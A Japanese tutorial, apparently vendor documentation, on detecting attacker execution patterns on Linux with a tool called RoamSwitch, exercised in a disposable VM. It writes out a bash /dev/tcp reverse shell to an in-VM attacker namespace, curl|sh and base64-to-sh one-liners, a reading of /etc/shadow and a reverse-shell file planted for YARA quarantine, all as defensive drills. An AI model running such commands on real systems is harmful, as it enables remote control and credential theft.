攻撃を知り、防ぐ

攻撃者は、何を動かすのか

無害なダミーで不審な実行の型を起こし、実行の記録、Sigma のルール、リバースシェルの検知、アップロード先の検査が何を知らせ、何を止めるかを確かめます。

  • レベル: 基礎
  • 約50分
  • 2026-11-12

#攻撃者は、何を動かすのか

サーバーに入った攻撃者は、まずプログラムやコマンドを動かします。動かし方には、よく使われる型があります。

型例
ダウンロードして、そのまま実行`curl … \sh`
中身を隠して実行`echo … \base64 -d \sh`
誰でも書ける場所から実行/tmp に置いたプログラム
シェルを外につなぐbash -i >& /dev/tcp/…
ツールを置いておくアップロード先に置いたスクリプト

Server Edition の プロセス実行の記録と攻撃手口の検知 は、既定でオンです。実行したプログラム、引数、親子関係を記録し、上のような型を見つけると知らせます。この講座では、無害なダミーでそれぞれの型を起こし、何が記録され、何が届くかを見ます。

練習は使い捨ての環境で

この講座の操作には、設定を変え、通信を止めるものがあります。本番のサーバーではなく、使い捨ての VM で試してください。出力の時刻は UTC です。日本時間は 9 時間足して読みます。

#不審な実行を起こして、通知を読む

外のサイトには何も送らずに試すため、同じマシンの中に、ダウンロード元を立てます。

3 つの型を起こす

hello.sh は、文字を表示するだけのスクリプトです。

mkdir -p /tmp/dl && cd /tmp/dl
printf '#!/bin/sh\necho "hello from a harmless script"\n' > hello.sh
python3 -m http.server 8000 --bind 127.0.0.1 >/dev/null 2>&1 &
sleep 1
curl -s http://127.0.0.1:8000/hello.sh | sh
bash -c 'echo ZWNobyBoZWxsbw== | base64 -d | sh'
cp /usr/bin/sleep /tmp/worker && /tmp/worker 1
sleep 3
sudo roamswitch notifications | head -40
出力の抜粋
  🔎 不審な実行パターンを検知
    一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)
    プロセス: /tmp/worker (PID: 30156) / 重要度: 中
    詳細: 誰でも書き込めるディレクトリからの実行です。分類: tmp、パス: /tmp/worker
    次の確認コマンド: sudo roamswitch events tree 30156
    (通知のみ・遮断はしていません)
    プロセス: admin / /tmp/worker / コマンド: /tmp/worker 1 (pid 30156)
    親プロセス: dash ← tart-guest-agent ← systemd

  🔎 不審な実行パターンを検知
    base64/eval を使うインタプリタのワンライナー (EXR-004)
    プロセス: /usr/bin/bash (PID: 30151) / 重要度: 中
    詳細: bash のワンライナーが、エンコードされた内容を復号して実行します。引数: bash -c echo ZWNobyBoZWxsbw== | base64 -d | sh
    次の確認コマンド: sudo roamswitch events tree 30151
    (通知のみ・遮断はしていません)
    プロセス: admin / /usr/bin/bash / コマンド: bash -c echo ZWNobyBoZWxsbw== | base64 -d | sh (pid 30151)
    親プロセス: dash ← tart-guest-agent ← systemd

  🔎 不審な実行パターンを検知
    ダウンロード直後のファイル実行 / curl|sh (EXR-003)
    プロセス: /usr/bin/dash (PID: 30146) / 重要度: 中
    詳細: http://127.0.0.1:8000/hello.sh からのダウンロードが dash にパイプでつながれました (curl|sh の形)
    次の確認コマンド: sudo roamswitch events tree 30146
    (通知のみ・遮断はしていません)
    プロセス: admin / /usr/bin/dash / コマンド: sh (pid 30146)
    親プロセス: dash ← tart-guest-agent ← systemd

3 つとも、別のルールで見つかりました。新しいものが上に並びます。読むところは 3 つです。

  • ルールの番号: EXR-003 などです。番号ごとに、止めたり対象を変えたりできます(後述)
  • 詳細と次の確認コマンド: どこから落としたか(URL)、何に渡したか(dash)まで書かれます。続けて調べるコマンドも出ます。EXR-003 のプロセスの行は、ダウンロードした curl ではなく、中身を受け取って動かしたシェル(dash)です
  • 通知のみ: 実行の記録のルールは、既定では知らせるだけです。プロセスは止まりません

ルールは 17 個あります(EXR-001〜017)。Web サービスから起動したシェル(EXR-001)、ld.so.preload を変えたあとの実行(EXR-007)、攻撃ツールの連続起動(EXR-010)、ログインのない処理やトンネルだけのセッションが張った ssh -R / -D のトンネル(EXR-016)、人のログインではない処理による偵察のコマンドの連続(EXR-017)なども見ます。誤検知が続くルールは、exec_rules_disabled(例 EXR-003,EXR-004)で個別に止めます。反映には再起動が要ります。

重要度が高のルールで隔離までしたいときは、exec_rules_isolation_optin を true にします。既定は false です。正当な管理作業でも当たることがあり、隔離は通信を断つためです(コードの注記)。ただし、EXR-011〜016 は、この設定にかかわらず、隔離に使いません(man roamswitch)。

#記録をさかのぼる

通知が来たら、前後に何が動いたかを記録から調べます。記録は /var/lib/roamswitch/exec_log にあり、root だけが読めます。そのため sudo が要ります。

検索、親子関係、改ざんの確認

まず、トークンを付けた curl を 1 回実行します。トークンはダミーです。

curl -s -o /dev/null -H "Authorization: Bearer abcdefgh12345678" http://127.0.0.1:8000/
sleep 2
sudo roamswitch events search --since 10m --exe curl
出力の抜粋
2026-11-12T01:43:28.603Z pid=30202 ppid=30132 admin /usr/bin/curl -s -o /dev/null -H Authorization: **** **** http://127.0.0.1:8000/
2026-11-12T01:43:24.526Z pid=30145 ppid=30132 admin /usr/bin/curl -s http://127.0.0.1:8000/hello.sh

トークンは **** に置き換わっています。秘密の値は、記録する時点で伏せます。通知の本文でも同じです。

次に、/tmp/worker を誰が起動したかをたどり、記録の改ざんを確かめます。PID は、events search --exe worker で調べた値です。

sudo roamswitch events tree 30156
sudo roamswitch events verify
実行結果
1 /usr/lib/systemd/systemd
697 /usr/bin/tart-guest-agent
30132 /usr/bin/dash
        30156 /tmp/worker 1
✓ ハッシュチェーンは正常です(2 セグメント)。改ざんは検知されていません(検知であり防止ではありません)。
  最新のチェックポイントより後の 14 件は、次のチェックポイントまで検証の対象外です。

この VM では、コマンドを tart-guest-agent から送ったので、親がそう出ています。親の並びは、コマンドを起動した経路で変わります。

verify は、記録の行をつなぐハッシュを確かめます。書き換えは見つけるだけで、防ぎません。最後のチェックポイント(10 秒ごと)より後の行は、まだ確かめられず、件数で示されます。

--json を付けると、1 件ごとに、実行ファイルの SHA-256、作業フォルダ、cgroup、コンテナ ID も見られます。記録は既定で 200 MB か 14 日を上限に、古いものから消えます(exec_recorder_retention_mb、exec_recorder_retention_days)。

#自分の Sigma ルールを足す

組み込みのルールに無い型は、Sigma ルールの取り込み で足せます。Sigma は、検知ルールを書くための共通の形式です。RoamSwitch が読むのは、プロセスの起動(process_creation)のルールです。

ルールを置いて、試して、効かせる

ルールのファイルを置く操作です(変更を伴う操作です)。例として、Python の簡易 Web サーバーの起動を見つけるルールを書きます。攻撃者が、ファイルの受け渡しによく使います。もう 1 つ、対応していない種類のルールも置きます。

sudo mkdir -p /etc/roamswitch/sigma.d
sudo tee /etc/roamswitch/sigma.d/python-http-server.yml >/dev/null <<'Y'
title: Python の簡易 Web サーバーの起動
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith:
      - '/python3'
      - '/python3.12'
    CommandLine|contains: 'http.server'
  condition: selection
level: medium
Y
sudo tee /etc/roamswitch/sigma.d/net-conn.yml >/dev/null <<'Y'
title: 外への接続
logsource:
  category: network_connection
  product: linux
detection:
  selection:
    DestinationPort: 4444
  condition: selection
level: high
Y
sudo roamswitch sigma-check --against-exec-history
出力の抜粋
  一致しても通知するだけで、プロセスの停止や遮断は行いません。読むのは利用者が置いたルールだけで、配信されるルールはありません。
  ルールの置き場: /etc/roamswitch/sigma.d(root 所有で、グループ・他のユーザーが書き込めないファイルだけを読みます)
  動いているデーモンは、置き場のファイルが変わると 32 秒ほどで読み直します。置いたり消したりしたあとに、再起動は要りません。
  読み込めたルール: 1 件
    ✓ Python の簡易 Web サーバーの起動 [medium] ATT&CK: -  (/etc/roamswitch/sigma.d/python-http-server.yml)
  読み込めなかったルール: 1 件(理由を示します。黙って捨てることはしません)
    ✗ 外への接続: logsource は category: process_creation(product は linux か未指定)だけ使えます
  記録済みの実行 17026 件に当てた結果: 一致 1 件
    2026-11-12T01:43:23.525Z  Python の簡易 Web サーバーの起動  python3 -m http.server 8000 --bind 127.0.0.1

--against-exec-history は、これまでの記録に当てて、何件一致するかを見せます。前の章で立てたダウンロード元が、1 件見つかりました。置く前に、誤検知が多すぎないかを確かめられます。読み込めないルールがあると、終了コードは 1 です。

読み込めないルールを消します。すぐに簡易 Web サーバーを 3 秒だけ動かし、通知を見ます。35 秒待って、もう一度同じことをします。

sudo rm /etc/roamswitch/sigma.d/net-conn.yml
timeout 3 python3 -m http.server 8001 --bind 127.0.0.1 >/dev/null 2>&1
sudo roamswitch notifications | head -10
sleep 35
timeout 3 python3 -m http.server 8001 --bind 127.0.0.1 >/dev/null 2>&1
sudo roamswitch notifications | head -10
出力の抜粋(2 回目の通知)
  Sigma ルールに一致しました
    ルール「Python の簡易 Web サーバーの起動」(レベル medium)に一致: /usr/bin/python3.12(pid 30559)
    python3 -m http.server 8001 --bind 127.0.0.1
    プロセス: admin / /usr/bin/python3.12 / コマンド: python3 -m http.server 8001 --bind 127.0.0.1 (pid 30559)
    親プロセス: timeout ← dash ← tart-guest-agent ← systemd

1 回目は、Sigma の通知がありませんでした。ルールを置いてから、まだ数秒だったためです。35 秒後の 2 回目で通知が来ました。デーモンは、置き場が変わると 32 秒ほどで読み直します。再起動は要りませんが、置いてすぐには効きません。

同じルールと同じ実行ファイルの組の通知は、5 分に 1 回です(コードの値)。続けて試すときは、5 分あけます。

元に戻すには、ルールのファイルを消します。32 秒ほどで、ルールは外れます。

ルールのファイルの権限

ルールは、root が持ち、ほかの人が書き込めないファイルだけが読まれます。chmod 666 にしたファイルは、「グループまたは他のユーザーが書き込めます(chmod go-w が必要です)」と出て、読み込まれませんでした。ほかの人が書けるルールは、検知を消す抜け道になるためです。

#シェルを外へつなぐ動きを止める

リバースシェルは、サーバーから攻撃者のマシンへ接続し、その接続にシェルをつなぐ手口です。外から入る接続を閉じていても、内から外への接続は通ることが多いため、よく使われます。

リバースシェルの検知 は、2 秒ごとに /proc を読みます。標準入出力が外への TCP 接続につながったシェルやインタープリターを、2 回続けて見つけると、検知します。検知は Critical のイベントとして、カーネル層の侵入検知と自律隔離 の対処の方針(action_on_critical、既定 isolate)に入ります。

リバースシェルを起こして、止まるのを見る

ネットワークの設定と、サーバーの設定を変える操作です(変更を伴う操作です)。外のマシンは使わず、VM の中に、攻撃者役のネットワーク名前空間を作ります。プライベートアドレス(10.200.0.2)なので、reverse_shell_watch_include_private を true にします。既定の false では、プライベートアドレス宛ては数えません。

sudo ip netns add rsx
sudo ip link add rsx0 type veth peer name rsx1
sudo ip link set rsx1 netns rsx
sudo ip addr add 10.200.0.1/24 dev rsx0 && sudo ip link set rsx0 up
sudo ip netns exec rsx ip addr add 10.200.0.2/24 dev rsx1
sudo ip netns exec rsx ip link set rsx1 up
sudo roamswitch server config set reverse_shell_watch_include_private true
sudo roamswitch server restart

攻撃者役の待ち受けを立て、一般ユーザー(admin)でリバースシェルをつなぎます。8 秒後に、シェルが残っているかを見ます。

sleep 5
sudo ip netns exec rsx sh -c 'sleep 30 | nc -l 10.200.0.2 4444 >/dev/null 2>&1' &
sleep 1
nohup bash -c 'bash -i >& /dev/tcp/10.200.0.2/4444 0>&1' >/dev/null 2>&1 &
RS=$!; sleep 8
ps -o pid,user,stat,cmd -p $RS || echo "process gone"
sudo roamswitch notifications | head -30
sudo roamswitch server ebpf
出力の抜粋
    PID USER     STAT CMD
process gone

  eBPF ランタイム脅威検知: RoamSwitch Reverse Shell (Critical)
    検知ルール: RoamSwitch Reverse Shell
    深刻度: Critical
    対象プロセス: bash (PID: 30937)
    自律防御アクション: アカウント admin が送る通信を遮断 + SIGKILL で終了
    時刻: 2026-11-12 01:44:47
    プロセス: admin / /usr/bin/bash / コマンド: bash -i (pid 30937) ※プロセスは既に終了していたため、実行の記録(2026-11-12 01:44:43)から補いました。
    親プロセス: bash ← dash ← tart-guest-agent ← systemd / サービス: tart-guest-agent.service
    受信から対処まで: 266 ミリ秒

  🔎 不審な実行パターンを検知
    シェルをネットワーク接続につなぐコマンドが実行されました (EXR-011)
    プロセス: /usr/bin/bash (PID: 30935) / 重要度: 高
    詳細: bash のコマンドラインが、リバースシェルの形をしています (シェルを /dev/tcp や /dev/udp に向けています)。引数: bash -c bash -i >& /dev/tcp/10.200.0.2/4444 0>&1
    次の確認コマンド: sudo roamswitch events tree 30935
    (通知のみ・遮断はしていません)

  現在の隔離状態: [隔離中: そのプロセスのアカウントが送る通信]
  隔離対象PID: [30937 (終了済み)]
  隔離したプロセス(30937)はすでに終了しています。通信を止める規則は、そのプロセスのアカウントが送る通信全体に掛かっているため、残ったままです。解除は sudo roamswitch emergency-restore です。

2 つの検知が別々に届きました。

  • EXR-011 は、コマンドラインの形で見つけます。知らせるだけです
  • RoamSwitch Reverse Shell は、実際の接続を見て、シェル(bash -i)を終わらせました。遮断の単位は、通知の「自律防御アクション」と server ebpf の「現在の隔離状態」のとおり、admin のアカウントです

server ebpf の説明のとおり、通信を止める規則は残っています。確度の高い検知による隔離なので、プロセスが終わっても、時間がたっても、自動では外れません。待ち受けの代わりに、攻撃者役の側に Web サーバーを立てて、確かめてから解除します。

sudo ip netns exec rsx sh -c 'cd /tmp && nohup python3 -m http.server 8080 --bind 10.200.0.2 >/dev/null 2>&1 &'
sleep 1
curl -s -m 3 -o /dev/null -w 'admin: %{http_code}\n' http://10.200.0.2:8080/ || echo "admin: 接続できません (curl $?)"
sudo curl -s -m 3 -o /dev/null -w 'root: %{http_code}\n' http://10.200.0.2:8080/
sudo roamswitch emergency-restore
curl -s -m 3 -o /dev/null -w 'admin: %{http_code}\n' http://10.200.0.2:8080/
sudo roamswitch server restart
出力の抜粋
admin: 000
admin: 接続できません (curl 28)
root: 200
  現在の状態:
    ピンポイント隔離中(止めている範囲: そのプロセスのアカウントが送る通信)
  🔄 緊急遮断・隔離ルールを全解除し、ベースラインへ復旧中...
    ✓ 隔離の記録
    ✓ 通信を止めうるファイアウォールのテーブル
    ✓ DNSの設定
    ✓ 接続の追跡
  次のファイアウォールのテーブルは、隔離ではないので残しました:
    - roamswitch_server: サーバーの受信の規則(ssh_ports・allowed_ports だけを通す、ふだんの防御)
  ✓ ネットワークを復旧しました。
  ポートスキャンの検知など、ここで外した規則は、再起動まで戻りません。戻すには: sudo systemctl restart roamswitch-server

admin: 200

解除の前、admin は時間切れ(curl の終了コード 28)で、root は 200 でした。止まっていたのは、そのアカウントの通信だけです。emergency-restore も、最初に「ピンポイント隔離中」と、止めている範囲を出しました。この VM では、検知から約 5 分たってから確かめても、止まったままでした。解除のあとは 200 です。

emergency-restore は、ポートスキャンの検知などの規則も外します。最後に再起動して、元の守りに戻します。

元に戻すには、reverse_shell_watch_include_private を false にして再起動し、sudo ip netns del rsx と sudo ip link del rsx0 で、名前空間と仮想の配線を消します。

正当なプログラムが止められたら

リバースシェルの検知は、既定でプロセスを終わらせます。運用のツールが同じ形でつなぐなら、次のどれかを選びます。

  • そのプログラムだけ外す: sudo roamswitch server allowlist add "RoamSwitch Reverse Shell" <プロセス名> --exe <絶対パス> <理由>。理由がないと「許可には理由が要ります」と断られます。期限は 30 日で、ほかの検知は残ります。--exe がないと、名前だけの許可は偽装できる、と警告が出ます。許可リストは検知のたびに読むので、再起動は要りません(コードで確認)
  • 知らせるだけにする: reverse_shell_watch_notify_only=true。試したところ、深刻度は Warning、対処は「記録のみ」になり、シェルは動き続けました
  • Critical 全体の対処を変える: action_on_critical を freeze(止めて通信を断つ)か alert_only(知らせるだけ)にします。リバースシェル以外の検知にも効きます

あとの 2 つは設定の変更なので、反映には再起動が要ります。

Falco の警報を受け取る

カーネル層の侵入検知と自律隔離 は、Falco が見つけたカーネルのイベントも受け取ります。Falco を入れる操作です(変更を伴う操作です)。Falco の配布元から入れます。

curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
  | sudo gpg --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] https://download.falco.org/packages/deb stable main" \
  | sudo tee /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update
sudo FALCO_FRONTEND=noninteractive FALCO_DRIVER_CHOICE=modern_ebpf apt-get install -y falco
sudo roamswitch server restart
sleep 10
sudo python3 -c "open('/etc/shadow').read()"
sleep 8
sudo roamswitch notifications | head -18
出力の抜粋
  eBPF ランタイム脅威検知: Read sensitive file untrusted (Warning)
    検知ルール: Read sensitive file untrusted
    深刻度: Warning
    対象プロセス: python3 (PID: 32742)
    自律防御アクション: 記録のみ(ガードの設定により、遮断しない)
    (中略)
    🔎 自動一次判定: 誤検知の可能性 高
    根拠: 検知ルール「Read sensitive file untrusted」は一般的に誤検知が多いことが知られています。
    ※参考情報です。すでに取られた対応の正否は確定しません。
    詳細レポート: /var/lib/roamswitch/ebpf_investigations/20261112T014616.814Z_read-sensitive-file-untrusted.md

パスワードのハッシュがある /etc/shadow を、Python が読んだことを、Falco が見つけました。深刻度は Warning なので、RoamSwitch は記録して知らせるだけです。深刻度ごとの対処は /etc/roamswitch/guard.yaml で決めます。例のファイル(guard.yaml.example)では、Warning は通知、Error はプロセスの隔離、Critical はプロセスの隔離と終了、Emergency はホスト全体の隔離です。

元に戻すには、sudo apt-get remove falco で外します。

#置かれたファイルと、ワーカーの異常終了

攻撃者は、あとで使うスクリプトやツールを、サーバーに置いていきます。アップロードを受け付けるフォルダは、置き場になりやすい場所です。

アップロード先を検査する

設定を変える操作です(変更を伴う操作です)。ファイルの中身のパターン照合 は、Server では clamav_scan_dirs に書いたフォルダを、組み込みの YARA のルールで検査します。既定は空で、何も見ません。

練習には、公開されているリバースシェルの一行を書いただけのファイルを使います。EICAR の試験用の文字列は、試験用として扱われ、隔離されません。

sudo mkdir -p /srv/upload
printf '#!/bin/sh\nbash -i >& /dev/tcp/10.200.0.2/4444 0>&1\n' | sudo tee /srv/upload/update.sh >/dev/null
echo 'ordinary text' | sudo tee /srv/upload/readme.txt >/dev/null
sudo roamswitch server config set clamav_scan_dirs /srv/upload
sudo roamswitch server restart
sleep 10
ls /srv/upload
sudo roamswitch notifications | head -16
sudo roamswitch quarantine list
出力の抜粋
readme.txt

  ファイルスキャンガード: 1 件のマルウェアを隔離
    YARA検知: 1 件, ClamAV検知: 0 件
    隔離済みファイル(元の場所 → 隔離先):
    - /srv/upload/update.sh → /var/lib/roamswitch/quarantine/20261112_014634_09f72385_update.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload)
    推奨対応: `/var/lib/roamswitch/quarantine/metadata.json` を確認してください。

  隔離Vault場所: /var/lib/roamswitch/quarantine
  隔離ファイル数: 1 件

  • [quar-20261112_014634-09f72385] update.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload) - 51 bytes
    元パス: /srv/upload/update.sh

update.sh が、置いた場所から消え、隔離の保管場所に移りました。普通のテキストは残っています。metadata.json には、元のパス、検知の名前、SHA-256 が残ります。

検査は、デーモンの起動のときと、そのあと clamav_scan_interval_secs(既定 86400 秒、最小 3600 秒)ごとに行います。置いた瞬間ではありません。clamav_enabled=true にすると、ClamAV の検査も重ねます。

元に戻すには、clamav_scan_dirs を空("")にして、再起動します。隔離したファイルは sudo roamswitch quarantine delete quar-20261112_014634-09f72385 で消すと、「Vault から完全に削除しました」と出ました。一覧は root だけが読めます。sudo なしの quarantine list は、件数を言わずに「読めませんでした」と出し、終了コード 1 で終わります。quarantine restore <ID> <パス> は、上書きせず、実行ビットを付けずに戻します。

Web サーバーのワーカーの異常終了

nginx は、親プロセスがワーカーを作り直すので、ワーカーが落ちてもサービスは動き続けます。脆弱性を突く攻撃が失敗すると、ワーカーが落ちることがあります。Web サーバーのワーカーの異常終了の検知 は、エラーログからこれを見つけます。ここでは、nginx を入れ、ワーカーに SIGSEGV を 3 回送って、落ちた形を作ります(変更を伴う操作です)。

sudo apt-get install -y nginx
sudo roamswitch server restart
for i in 1 2 3; do sudo kill -SEGV $(pgrep -f 'nginx: worker' | head -1); sleep 2; done
sleep 30
sudo roamswitch notifications | head -12
出力の抜粋
  Webサーバーのワーカーが繰り返し異常終了しています
    🚨 nginx のワーカーが、300 秒のあいだに 3 回、シグナルで異常終了しました(シグナル: 11)
    ログ: /var/log/nginx/error.log
    直近の記録: 2026/11/12 01:47:16 [alert] 33430#33430: worker process 33434 exited on signal 11 (core dumped)
    ワーカーは親プロセスが作り直すので、サービスは動き続け、サービスの再起動としては数えられません。脆弱性を突く攻撃の試行か、プログラムの不具合の可能性があります。
    推奨対応: `grep 'signal' /var/log/nginx/error.log` で記録を確認し、同じ時刻のアクセスログから、異常終了の直前のリクエストを調べてください。nginx に未適用の修正がないかも確認してください。

systemctl is-active nginx は、このあとも active でした。サービスの状態だけを見ていると、気づけない変化です。通知は知らせるだけで、nginx を止めません。通知は 1 台につき 1 時間に 1 回です(時刻はディスクに残ります)。30 分後にまた 3 回落としたときは、2 回目の通知は出ませんでした。元に戻すには、sudo apt-get remove nginx で外します。

#見えない部分

確かめたこと・見えないこと

使い捨ての Ubuntu 24.04 の VM で確かめた範囲では、次のようになります。

  • 実行の記録のルールは、既定では知らせるだけです。EXR-011 のように重要度が高くても、プロセスは止まりません。止めたのは、接続を見たリバースシェルの検知です
  • 同じ通知は、5 分のあいだ繰り返しません。同じルール・同じプロセス名・同じコマンドラインの組み合わせは、5 分に 1 回です(コードの値)。ループで同じコマンドを繰り返す攻撃は、最初の 1 回だけ届きます
  • リバースシェルの検知は、ループバックを見ません。プライベートアドレス宛ては、reverse_shell_watch_include_private=true のときだけ数えます。2 秒より短い接続も見ません
  • Falco の標準のルールは、ホストのリバースシェルで警報を出しませんでした。Falco を入れた状態で bash -i >& /dev/tcp/… をつないだとき、届いたのは RoamSwitch 自身の検知だけでした
  • アップロード先の検査は、決まった間隔で行います。次の検査までの間に置かれ、動かされ、消されたファイルは、検査されません。動いたことは、実行の記録に残ります
  • 組み込みの YARA のルールに無い中身は、見つけません。「隔離 0 件」は、知っている形が無かった、という意味です
確認問題

「不審な実行パターンを検知(EXR-003)」の通知が来ました。正しい受け取り方はどれですか

解説を見る

実行の記録のルールは「通知のみ・遮断はしていません」です。まず、誰が何を起動したかを sudo roamswitch events tree <PID> で調べます。誤検知と決める前に、ダウンロード元の URL を確かめます。

確認問題

Sigma のルールを置き、sigma-check で「読み込めたルール: 1 件」と出ました。その直後に一致する操作をしても、通知が来ません。まず何を疑いますか

解説を見る

sigma-check は、ファイルを読めるかを確かめるだけです。動いているデーモンは、置き場が変わってから 32 秒ほどで読み直します。少し待ってから、もう一度試します。再起動は要りません。

#次に学ぶこと

扱う機能

対応する攻撃手法 (ATT&CK): T1059.004 T1027 T1105 T1553.001

確認した内容

2026-11-12に確認しました。対象は Linux 1.17.39 です。使い捨ての Ubuntu 24.04 の VM(公開版 1.17.39)で、VM の中のネットワーク名前空間を攻撃者役にして、すべての演習を日本語と英語で実行しました(英語は LANG=en_US.UTF-8 で、server.conf の language は既定のまま)。アカウント単位の遮断は、検知から約 5 分後にも残っていることを確かめました。2026-11-12 の追記: EXR-017(偵察のコマンドの連続)を、roamswitch-linux の main(e4e37a64)の実行レコーダーの規則で確かめて、規則の数を 17 に直しました。この追記の部分は VM では動かしていません。

コマンドの出力は、製品の版や環境によって変わります。違いが出たら、まず製品の版を確かめてください。